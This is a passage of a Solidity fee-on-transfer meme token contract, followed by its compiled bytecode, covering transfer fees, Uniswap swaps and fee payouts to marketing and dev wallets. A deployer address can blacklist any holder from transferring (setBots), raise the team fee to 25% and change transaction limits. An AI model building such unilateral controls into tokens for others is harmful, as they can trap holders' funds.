_devWalletAddress = devfeeAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_Marketingfund] = true;
_isExcludedFromFee[_devWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 4;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
// This is done to prevent the taxes from filling up in the router since compiled taxes emptying can impact the chart.
// This reduces the impact of taxes on the chart.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_Marketingfund.transfer(amount.div(6).mul(4));
_devWalletAddress.transfer(amount.div(6).mul(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 25000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external {
require(_msgSender() == _Deployer);
swapEnabled = enabled;
}
function manualswap() external {
require(_msgSender() == _Deployer);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _Deployer);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public {
require(_msgSender() == _Deployer);
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public {
require(_msgSender() == _Deployer);
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external {
require(_msgSender() == _Deployer);
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external {
require(_msgSender() == _Deployer);
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external {
require(_msgSender() == _Deployer);
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
}
|
0x60806040526004361061014f5760003560e01c806395d89b41116100b6578063cba0e9961161006f578063cba0e9961461044f578063d00efb2f1461048c578063d543dbeb146104b7578063dd62ed3e146104e0578063e01af92c1461051d578063e47d60601461054657610156565b806395d89b4114610367578063a9059cbb14610392578063b515566a146103cf578063c0e6b46e146103f8578063c3c8cd8014610421578063c9567bf91461043857610156565b8063313ce56711610108578063313ce5671461027d5780635932ead1146102a85780636fc3eaec146102d157806370a08231146102e8578063715018a6146103255780638da5cb5b1461033c57610156565b806306fdde031461015b578063095ea7b31461018657806318160ddd146101c357806323b872dd146101ee578063273123b71461022b578063286671621461025457610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610583565b60405161017d91906133c5565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612ec5565b6105c0565b6040516101ba91906133aa565b60405180910390f35b3480156101cf57600080fd5b506101d86105de565b6040516101e59190613587565b60405180910390f35b3480156101fa57600080fd5b5061021560048036038101906102109190612e76565b6105ef565b60405161022291906133aa565b60405180910390f35b34801561023757600080fd5b50610252600480360381019061024d9190612de8565b6106c8565b005b34801561026057600080fd5b5061027b60048036038101906102769190612f94565b610784565b005b34801561028957600080fd5b50610292610840565b60405161029f91906135fc565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190612f42565b610849565b005b3480156102dd57600080fd5b506102e66108fb565b005b3480156102f457600080fd5b5061030f600480360381019061030a9190612de8565b61096d565b60405161031c9190613587565b60405180910390f35b34801561033157600080fd5b5061033a6109be565b005b34801561034857600080fd5b50610351610b11565b60405161035e91906132dc565b60405180910390f35b34801561037357600080fd5b5061037c610b3a565b60405161038991906133c5565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190612ec5565b610b77565b6040516103c691906133aa565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612f01565b610b95565b005b34801561040457600080fd5b5061041f600480360381019061041a9190612f94565b610cb1565b005b34801561042d57600080fd5b50610436610d8e565b005b34801561044457600080fd5b5061044d610e08565b005b34801561045b57600080fd5b5061047660048036038101906104719190612de8565b61136c565b60405161048391906133aa565b60405180910390f35b34801561049857600080fd5b506104a16113c2565b6040516104ae9190613587565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d99190612f94565b6113c8565b005b3480156104ec57600080fd5b5061050760048036038101906105029190612e3a565b6114dd565b6040516105149190613587565b60405180910390f35b34801561052957600080fd5b50610544600480360381019061053f9190612f42565b611564565b005b34801561055257600080fd5b5061056d60048036038101906105689190612de8565b6115e2565b60405161057a91906133aa565b60405180910390f35b60606040518060400160405280600e81526020017f476f72696c6c61476c7565496e75000000000000000000000000000000000000815250905090565b60006105d46105cd611638565b8484611640565b6001905092915050565b60006816c4abbebea0100000905090565b60006105fc84848461180b565b6106bd84610608611638565b6106b885604051806060016040528060288152602001613ce960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061066e611638565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120d19092919063ffffffff16565b611640565b600190509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610709611638565b73ffffffffffffffffffffffffffffffffffffffff161461072957600080fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c5611638565b73ffffffffffffffffffffffffffffffffffffffff16146107e557600080fd5b600181101580156107f7575060198111155b610836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082d90613447565b60405180910390fd5b8060098190555050565b60006009905090565b610851611638565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d5906134c7565b60405180910390fd5b80601260176101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661093c611638565b73ffffffffffffffffffffffffffffffffffffffff161461095c57600080fd5b600047905061096a81612135565b50565b60006109b7600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612256565b9050919050565b6109c6611638565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4a906134c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4747490000000000000000000000000000000000000000000000000000000000815250905090565b6000610b8b610b84611638565b848461180b565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd6611638565b73ffffffffffffffffffffffffffffffffffffffff1614610bf657600080fd5b60005b8151811015610cad576001600c6000848481518110610c41577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ca59061389d565b915050610bf9565b5050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cf2611638565b73ffffffffffffffffffffffffffffffffffffffff1614610d1257600080fd5b60008111610d55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4c90613487565b60405180910390fd5b610d85612710610d77836816c4abbebea01000006122c490919063ffffffff16565b61233f90919063ffffffff16565b600b8190555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dcf611638565b73ffffffffffffffffffffffffffffffffffffffff1614610def57600080fd5b6000610dfa3061096d565b9050610e0581612389565b50565b610e10611638565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e94906134c7565b60405180910390fd5b601260149054906101000a900460ff1615610eed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee490613547565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7d30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166816c4abbebea0100000611640565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc357600080fd5b505afa158015610fd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffb9190612e11565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105d57600080fd5b505afa158015611071573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110959190612e11565b6040518363ffffffff1660e01b81526004016110b29291906132f7565b602060405180830381600087803b1580156110cc57600080fd5b505af11580156110e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111049190612e11565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118d3061096d565b600080611198610b11565b426040518863ffffffff1660e01b81526004016111ba96959493929190613349565b6060604051808303818588803b1580156111d357600080fd5b505af11580156111e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120c9190612fbd565b5050506001601260166101000a81548160ff0219169083151502179055506000601260176101000a81548160ff02191690831515021790555068015af1d78b58c40000601381905550436014819055506001601260146101000a81548160ff021916908315150217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611316929190613320565b602060405180830381600087803b15801561133057600080fd5b505af1158015611344573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113689190612f6b565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60145481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611409611638565b73ffffffffffffffffffffffffffffffffffffffff161461142957600080fd5b6000811161146c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146390613487565b60405180910390fd5b61149b606461148d836816c4abbebea01000006122c490919063ffffffff16565b61233f90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6013546040516114d29190613587565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115a5611638565b73ffffffffffffffffffffffffffffffffffffffff16146115c557600080fd5b80601260166101000a81548160ff02191690831515021790555050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a790613527565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171790613427565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516117fe9190613587565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561187b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187290613507565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e2906133e7565b60405180910390fd5b6000811161192e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611925906134e7565b60405180910390fd5b611936610b11565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119a45750611974610b11565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561200e57601260179054906101000a900460ff1615611bd7573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a2657503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a805750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ada5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611bd657601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b20611638565b73ffffffffffffffffffffffffffffffffffffffff161480611b965750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b7e611638565b73ffffffffffffffffffffffffffffffffffffffff16145b611bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcc90613567565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611c1a57601354811115611c1957600080fd5b5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cbe5750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d145750600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d1d57600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611dc85750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611e365750601260179054906101000a900460ff165b15611ed75742600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611e8657600080fd5b600f42611e9391906136bd565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ee23061096d565b9050600b548110611ef357600b5490505b6000600a548210159050601260159054906101000a900460ff16158015611f265750601260169054906101000a900460ff165b8015611f2f5750805b8015611f895750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611fe35750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561200b57611ff182612389565b600047905060008111156120095761200847612135565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120b55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120bf57600090505b6120cb84848484612683565b50505050565b6000838311158290612119576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211091906133c5565b60405180910390fd5b5060008385612128919061379e565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612198600461218a60068661233f90919063ffffffff16565b6122c490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121c3573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612227600261221960068661233f90919063ffffffff16565b6122c490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612252573d6000803e3d6000fd5b5050565b600060065482111561229d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229490613407565b60405180910390fd5b60006122a76126b0565b90506122bc818461233f90919063ffffffff16565b915050919050565b6000808314156122d75760009050612339565b600082846122e59190613744565b90508284826122f49190613713565b14612334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232b906134a7565b60405180910390fd5b809150505b92915050565b600061238183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126db565b905092915050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123e7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156124155781602001602082028036833780820191505090505b5090503081600081518110612453577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124f557600080fd5b505afa158015612509573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061252d9190612e11565b81600181518110612567577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125ce30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611640565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126329594939291906135a2565b600060405180830381600087803b15801561264c57600080fd5b505af1158015612660573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b806126915761269061273e565b5b61269c84848461276f565b806126aa576126a961293a565b5b50505050565b60008060006126bd61294c565b915091506126d4818361233f90919063ffffffff16565b9250505090565b60008083118290612722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271991906133c5565b60405180910390fd5b50600083856127319190613713565b9050809150509392505050565b600060085414801561275257506000600954145b1561275c5761276d565b600060088190555060006009819055505b565b600080600080600080612781876129ae565b9550955095509550955095506127df86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128c081612abe565b6128ca8483612b7b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516129279190613587565b60405180910390a3505050505050505050565b60056008819055506004600981905550565b6000806000600654905060006816c4abbebea010000090506129826816c4abbebea010000060065461233f90919063ffffffff16565b8210156129a1576006546816c4abbebea01000009350935050506129aa565b81819350935050505b9091565b60008060008060008060008060006129cb8a600854600954612bb5565b92509250925060006129db6126b0565b905060008060006129ee8e878787612c4b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a5883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120d1565b905092915050565b6000808284612a6f91906136bd565b905083811015612ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aab90613467565b60405180910390fd5b8091505092915050565b6000612ac86126b0565b90506000612adf82846122c490919063ffffffff16565b9050612b3381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a6090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b9082600654612a1690919063ffffffff16565b600681905550612bab81600754612a6090919063ffffffff16565b6007819055505050565b600080600080612be16064612bd3888a6122c490919063ffffffff16565b61233f90919063ffffffff16565b90506000612c0b6064612bfd888b6122c490919063ffffffff16565b61233f90919063ffffffff16565b90506000612c3482612c26858c612a1690919063ffffffff16565b612a1690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c6485896122c490919063ffffffff16565b90506000612c7b86896122c490919063ffffffff16565b90506000612c9287896122c490919063ffffffff16565b90506000612cbb82612cad8587612a1690919063ffffffff16565b612a1690919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612ce7612ce28461363c565b613617565b90508083825260208201905082856020860282011115612d0657600080fd5b60005b85811015612d365781612d1c8882612d40565b845260208401935060208301925050600181019050612d09565b5050509392505050565b600081359050612d4f81613ca3565b92915050565b600081519050612d6481613ca3565b92915050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612cd4565b91505092915050565b600081359050612da381613cba565b92915050565b600081519050612db881613cba565b92915050